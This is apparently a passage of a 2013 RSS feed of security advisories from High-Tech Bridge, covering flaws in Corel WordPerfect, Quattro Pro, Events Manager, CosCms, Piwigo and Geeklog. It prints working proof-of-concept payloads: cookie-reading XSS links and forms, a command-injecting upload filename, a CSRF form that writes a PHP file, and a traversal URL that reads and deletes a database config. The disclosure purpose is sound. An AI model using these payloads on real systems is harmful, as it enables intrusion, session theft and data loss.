&lt;/b&gt;Low &lt;img src="https://www.htbridge.com/images/risk1.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; Corel Corporation&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2012-09-12 14:09:06&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; March 7, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2012-4900&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 2.6 (AV:N/AC:H/Au:N/C:N/I:N/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered an untrusted pointer dereference vulnerability in Corel WordPerfect. Opening of a malicious WPD (WordPerfect Document) causes immediate application crash, resulting in a loss of all unsaved current application data of the user.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Untrusted Pointer Dereference Vulnerability in Corel WordPerfect X6: CVE-2012-4900&lt;br /&gt; &lt;br /&gt; The very beginning of the crash occurs within the &lt;b&gt;WPWIN16.DLL&lt;/b&gt; module in the &lt;b&gt;STARTAPP&lt;/b&gt; function when the application attempts to call the &lt;b&gt;STRNICMP&lt;/b&gt; procedure in the &lt;b&gt;MSVCR80&lt;/b&gt; module. Due to a specially crafted WPD file and as a result of the stack modification, it is possible to partially control the destination pointer &lt;b&gt;[EDI]&lt;/b&gt; inherited by the &lt;b&gt;STRNICMP&lt;/b&gt; function.&lt;br /&gt; &lt;br /&gt; Crash details:&lt;br /&gt; &lt;font color=#606060&gt;eax=0225a848 ebx=0224ce48 ecx=00000008 edx=00000008&lt;/font&gt; &lt;b&gt;&lt;font color=#606060&gt;esi=0224ce48 edi=0225a848&lt;/font&gt;&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;eip=69fe74bc esp=0012ee80 ebp=0012ee9c iopl=0 nv up ei pl nz na po cy&lt;br /&gt; cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010203&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; MSVCR80!strnicmp+0x261:&lt;br /&gt; &lt;b&gt;&lt;font color=#606060&gt;69fe74bc f3a4 rep movs byte ptr es:[edi],byte ptr [esi]&lt;/font&gt;&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;Exception Faulting Address: 0x225a848&lt;br /&gt; First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)&lt;/font&gt;&lt;br /&gt; &lt;b&gt;&lt;font color=#606060&gt;Exception Sub-Type: Write Access Violation&lt;/font&gt;&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; Stack Trace:&lt;br /&gt; &lt;font color=#606060&gt;MSVCR80!strnicmp+0x261&lt;br /&gt; wpwin16!StartApp+0xbdc8e&lt;br /&gt; wpwin16!StartApp+0xc5ef1&lt;br /&gt; wpwin16!StartApp+0xc67f3&lt;br /&gt; wpwin16!StartApp+0xc0758&lt;br /&gt; ntdll!RtlAllocateHeap+0x211&lt;br /&gt; ntdll!RtlAllocateHeap+0xac&lt;br /&gt; ntdll!RtlTryEnterCriticalSection+0x9ba&lt;br /&gt; ntdll!RtlTryEnterCriticalSection+0x98f&lt;br /&gt; WStr16!WPwmemcpy+0x1e&lt;br /&gt; PFIT160!wread+0xe1&lt;br /&gt; MSVCR80!strnicmp+0x135&lt;br /&gt; wpwin16!StartApp+0xdfe00&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; In order to exploit the vulnerability remotely the attacker has to send a malicious file to the victim by email. In a web-based scenario, the attacker can host a malicious file on a website or WebDav share and trick the victim to download and open the file. &lt;br /&gt; &lt;br /&gt; As a PoC (Proof of Concept) a file "PoC.wpd" is &lt;a href="https://www.htbridge.com/advisory/HTB23114-PoC.rar"&gt;provided&lt;/a&gt;, which causes immediate application crash. Password for archive: k2-0xj)Dhfjhlfs&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23114</guid><category><![CDATA[webappsec]]></category><pubDate>Thu, 07 Mar 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23112]: Multiple NULL Pointer Dereference Vulnerabilities in Corel Quattro Pro X6</title><link>https://www.htbridge.com/advisory/HTB23112</link><description>&lt;b&gt;Product:&lt;/b&gt; Corel Quattro Pro X6 Standard Edition v16.0.0.388, other versions may be also affected&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; NULL Pointer Dereference [CWE-476]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Low &lt;img src="https://www.htbridge.com/images/risk1.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; Corel Corporation&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2012-08-27 12:00:00&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; March 7, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2012-4728&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 2.6 (AV:N/AC:H/Au:N/C:N/I:N/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered two null pointer dereference vulnerabilities in Corel Quattro Pro. Opening of a malicious QPW (Quattro Pro Spreadsheet) document causes immediate application crash, resulting in a loss of all unsaved current application data of the user.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Multiple Null Pointer Dereference vulnerabilities in Corel Quattro Pro X6: CVE-2012-4728&lt;br /&gt; &lt;br /&gt; 1.1 The first crash occurs in the &lt;b&gt;QPW160.dll&lt;/b&gt; module at the &lt;b&gt;QProGetNotebookWindowHandle&lt;/b&gt; function when the application tries to move a value to a corrupted pointer. Due to the malformed QPW file the EDX register will contain a null value. This destination pointer used to store the value of the AX register will be therefore invalid, which causes the application to crash instantly.&lt;br /&gt; &lt;br /&gt; Crash details:&lt;br /&gt; &lt;font color=#606060&gt;eax=04b11e00 ebx=00007020 ecx=000000f5 edx=00000000 esi=00000000 edi=04b10048&lt;br /&gt; eip=202e5925 esp=0012d9b0 ebp=0012e8e8 iopl=0 nv up ei pl zr na pe nc&lt;br /&gt; cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246&lt;br /&gt; &lt;br /&gt; QPW160!QProGetNotebookWindowHandle+0x23cb85:&lt;br /&gt; 202e5925 6689048a mov word ptr [edx+ecx*4],ax ds:0023:000003d4=????&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.2 The second crash occurs in the &lt;b&gt;QPW160.dll&lt;/b&gt; module at the &lt;b&gt;Ordinal132&lt;/b&gt; function when the application tries to copy a buffer from ESI to EDI. Due to the abnormal QPW file the EDI register is not properly initialized, which causes the dereference of the EDI pointer to a null value. After this, the code is not able to catch the issue due to a lack of exception handling, forcing the application to crash immediately.&lt;br /&gt; &lt;br /&gt; Crash details:&lt;br /&gt; &lt;font color=#606060&gt;eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=04ca6c40 edi=00000000&lt;br /&gt; eip=20005a7d esp=0012d97c ebp=0012d988 iopl=0 nv up ei pl nz ac po cy&lt;br /&gt; cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213&lt;br /&gt; &lt;br /&gt; QPW160!Ordinal132+0x5a7d: 20005a7d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; In order to exploit these vulnerabilities remotely, the attacker has to send a malicious file to the victim by email. In a web-based scenario, the attacker can host a malicious file on a website or WebDav share and trick the victim to download and open the file. &lt;br /&gt; &lt;br /&gt; As a PoC (Proof of Concept) two files "1.qpw" and "2.qpw" are &lt;a href="https://www.htbridge.com/advisory/HTB23112-PoC.rar"&gt;provided&lt;/a&gt;, which cause immediate application crash. Password for archive: ph77=!3=L</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23112</guid><category><![CDATA[webappsec]]></category><pubDate>Thu, 07 Mar 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23139]: Multiple XSS vulnerabilities in Events Manager WordPress plugin</title><link>https://www.htbridge.com/advisory/HTB23139</link><description>&lt;b&gt;Product:&lt;/b&gt; Events Manager WordPress plugin v5.3.3&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; Marcus Sykes&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-01-16 12:00:10&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; March 6, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-1407&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in Events Manager WordPress plugin, which can be exploited to perform Cross-Site Scripting attacks.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Multiple XSS vulnerabilities in Events Manager WordPress plugin: CVE-2013-1407&lt;br /&gt; &lt;br /&gt; 1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "scope" HTTP GET parameter passed to "/index.php" script. A remote attacker can trick user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/?page_id=42&amp;amp;scope=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E,%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.2 The vulnerability exists due to insufficient filtration of user-supplied data in "_wpnonce" HTTP GET parameter passed to "/wp-admin/edit.php" script. A remote attacker can trick logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; PoC (Proof-of-Concept) below uses "alert()" JavaScript function to display administrator's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/wp-admin/edit.php?post_type=event&amp;amp;page=events-manager-bookings&amp;amp;_wpnonce=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.3 The vulnerabilities exist due to insufficient filtration of user-supplied data in "user_name", "dbem_phone" and "user_email" HTTP GET parameters passed to "/index.php" script. A remote attacker can trick user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; PoCs (Proof-of-Concept) below use the "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/?event=1&amp;amp;user_name=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;font color=#606060&gt;http://[host]/?event=1&amp;amp;dbem_phone=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;font color=#606060&gt;http://[host]/?event=1&amp;amp;user_email=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.4 The vulnerability exists due to insufficient filtration of user-supplied data in "booking_comment" HTTP POST parameter passed to "/index.php" script. A remote attacker can trick user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/?event=1&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;askform&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;booking_comment&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;&amp;lt;/&lt;font color="#808000"&gt;textarea&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&amp;gt;&lt;/font&gt;&amp;quot;&lt;/font&gt;/&lt;/font&gt;&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; Vulnerabilities 1.3 and 1.4 will work only against unauthorized (not logged-in) users. Successful exploitation of these vulnerabilities also requires that event with id = 1 has turned-on registration. &lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23139</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><pubDate>Wed, 06 Mar 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23145]: OS Command Injection in CosCms</title><link>https://www.htbridge.com/advisory/HTB23145</link><description>&lt;b&gt;Product:&lt;/b&gt; CosCms v1.721&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; OS Command Injection [CWE-78]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;High &lt;img src="https://www.htbridge.com/images/risk3.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://www.coscms.org&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-02-13 12:03:23&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; March 6, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-1668&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) OS Command Injection in CosCms: CVE-2013-1668&lt;br /&gt; &lt;br /&gt; Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.&lt;br /&gt; &lt;br /&gt; The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;POST /gallery/upload/index HTTP/1.1&lt;br /&gt; Content-Type: multipart/form-data; boundary=---------------------------21456260222104&lt;br /&gt; Content-Length: 970&lt;br /&gt; &lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;title&amp;quot;&lt;br /&gt; &lt;br /&gt; 1&lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;image_add&amp;quot;&lt;br /&gt; &lt;br /&gt; 1&lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;description&amp;quot;&lt;br /&gt; &lt;br /&gt; 1&lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;tags&amp;quot;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;MAX_FILE_SIZE&amp;quot;&lt;br /&gt; &lt;br /&gt; 100000000&lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;APC_UPLOAD_PROGRESS&amp;quot;&lt;br /&gt; &lt;br /&gt; 511ad0922b50f&lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;1 &amp;amp; ls -la &amp;gt; file.txt&amp;quot;&lt;br /&gt; Content-Type: application/octet-stream&lt;br /&gt; &lt;br /&gt; 1&lt;br /&gt; &lt;br /&gt; -----------------------------21456260222104&lt;br /&gt; Content-Disposition: form-data; name=&amp;quot;submit&amp;quot;&lt;br /&gt; &lt;br /&gt; Update&lt;br /&gt; -----------------------------21456260222104--&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23145</guid><category><![CDATA[webappsec]]></category><pubDate>Wed, 06 Mar 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23144]: Multiple Vulnerabilities in Piwigo</title><link>https://www.htbridge.com/advisory/HTB23144</link><description>&lt;b&gt;Product:&lt;/b&gt; Piwigo v2.4.6&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Request Forgery [CWE-352], Path Traversal [CWE-22]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;High &lt;img src="https://www.htbridge.com/images/risk3.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; Piwigo project&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-02-06 12:14:31&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; February 27, 2013 &lt;br&gt;&lt;b&gt;CVE References:&lt;/b&gt; CVE-2013-1468, CVE-2013-1469&lt;br&gt; &lt;b&gt;CVSSv2 Base Scores:&lt;/b&gt; 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 4 (AV:N/AC:H/Au:N/C:P/I:N/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Piwigo, which can be exploited to perform Сross-Site Request Forgery and Path Traversal attacks.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Сross-Site Request Forgery (CSRF) in Piwigo: CVE-2013-1468&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient verification of the HTTP request origin in "/admin.php" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create arbitrary PHP file on the remote server.&lt;br /&gt; &lt;br /&gt; The following PoC (Proof of Concept) code creates a file "file.php" containing "phpinfo();", which can be later accessed via the http://[host]/file.php URL:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/admin.php?page=plugin-LocalFilesEditor&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;f1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'edited_file'&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'file.php'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'text'&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;' phpinfo(); '&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'submit'&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'1'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.f1.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; Successful exploitation requires that the "LocalFiles Editor" plugin is enabled (disabled by default).&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 2) Path Traversal in Piwigo: CVE-2013-1469&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of user-supplied input in "dl" HTTP GET parameter passed to "/install.php" script. The script is present on the system after installation by default, and can be accessed by attacker without any restrictions. The vulnerable code is:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;if (!empty($_GET['dl']) &amp;amp;&amp;amp; file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))&lt;br /&gt; {&lt;br /&gt; $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];&lt;br /&gt; ...&lt;br /&gt; echo file_get_contents($filename);&lt;br /&gt; ...&lt;br /&gt; }&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; However, the vulnerability may be exploited only if PHP 'file_exists' function returns 'true' both for "C:/boot.ini" (or any existing file) and for "C:/any_non_existing_directory/../boot.ini" (in our case the non-existing directory in path is "/pwg_/"). This works in default PHP installation on Windows platform (tested on Windows 7, PHP 5.3.x). In case of successful exploitation remote attacker can read content of arbitrary files on the vulnerable system. &lt;br /&gt; Important: after being read the file is deleted (if web server has write permission to it).&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; The following PoC (Proof of Concept) code will display and delete the application's configuration file:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://piwigo/install.php?dl=/../../local/config/database.inc.php&lt;/font&gt;&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23144</guid><category><![CDATA[webappsec]]></category><category><![CDATA[CSRF]]></category><pubDate>Wed, 27 Feb 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23143]: Cross-Site Scripting (XSS) in Geeklog </title><link>https://www.htbridge.com/advisory/HTB23143</link><description>&lt;b&gt;Product:&lt;/b&gt; Geeklog v1.8.2&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://www.geeklog.net&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-02-06 11:48:53&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; February 27, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-1470&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered vulnerability in Geeklog that can be exploited to perform Cross-Site Scripting (XSS) attacks.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Cross-Site Scripting (XSS) in Geeklog: CVE-2013-1470&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of user-supplied data in "calendar_type" HTTP POST parameter passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses the "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/submit.php?type=calendar&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;mode&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Submit&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;calendar_type&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;alert(document.cookie);&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&amp;gt;&lt;/font&gt;'&lt;/font&gt;&amp;gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23143</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><pubDate>Wed, 27 Feb 2013 00:00:00 